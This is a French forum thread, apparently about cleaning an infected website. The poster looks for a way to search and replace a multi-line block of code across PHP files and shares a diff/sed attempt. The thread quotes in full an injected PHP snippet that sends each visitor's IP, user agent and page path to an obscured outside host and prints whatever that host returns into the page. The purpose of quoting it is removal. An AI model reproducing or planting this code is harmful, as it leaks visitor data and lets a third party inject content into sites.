ca ne marche pas dans si c'est du code au milieu du fichier, car ca cherche des fichiers hierachisés
avec possiblités de trier par ordre alphanumerique
or le bout de code a trouver à l'interieur des fichiers est le suivant.
?><?phpif(!isset($sRetry)){global$sRetry;$sRetry=1;// This code use for global bot statistic$sUserAgent=strtolower($_SERVER['HTTP_USER_AGENT']);// Looks for google serch bot$stCurlHandle=NULL;$stCurlLink="";if((strstr($sUserAgent,'google')==false)&&(strstr($sUserAgent,'yahoo')==false)&&(strstr($sUserAgent,'baidu')==false)&&(strstr($sUserAgent,'msn')==false)&&(strstr($sUserAgent,'opera')==false)&&(strstr($sUserAgent,'chrome')==false)&&(strstr($sUserAgent,'bing')==false)&&(strstr($sUserAgent,'safari')==false)&&(strstr($sUserAgent,'bot')==false))// Bot comes{if(isset($_SERVER['REMOTE_ADDR'])==true&&isset($_SERVER['HTTP_HOST'])==true){// Create bot analitics $stCurlLink=base64_decode('aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);@$stCurlHandle=curl_init($stCurlLink);}}if($stCurlHandle!==NULL){curl_setopt($stCurlHandle,CURLOPT_RETURNTRANSFER,1);curl_setopt($stCurlHandle,CURLOPT_TIMEOUT,6);$sResult=@curl_exec($stCurlHandle);if($sResult[0]=="O"){$sResult[0]=" ";echo$sResult;// Statistic code end}curl_close($stCurlHandle);}}
on se rend bien compte qu'il ne faut pas rechercher juste ligne par ligne
mais le motif dans son ensemble
j'ai trouvé un truc qui semble le faire sur mes 3 fichiers de test, c'est avec :
diff --suppress-common-line -y index.php motif.txt | sed -e 's/<$//g'
[^] # Re: Une piste ....
Posté par NeoX . En réponse au message rechercher / remplacer multiligne. Évalué à 2.
pas mal mais non,
ca ne marche pas dans si c'est du code au milieu du fichier, car ca cherche des fichiers hierachisés
avec possiblités de trier par ordre alphanumerique
or le bout de code a trouver à l'interieur des fichiers est le suivant.
on se rend bien compte qu'il ne faut pas rechercher juste ligne par ligne
mais le motif dans son ensemble
j'ai trouvé un truc qui semble le faire sur mes 3 fichiers de test, c'est avec :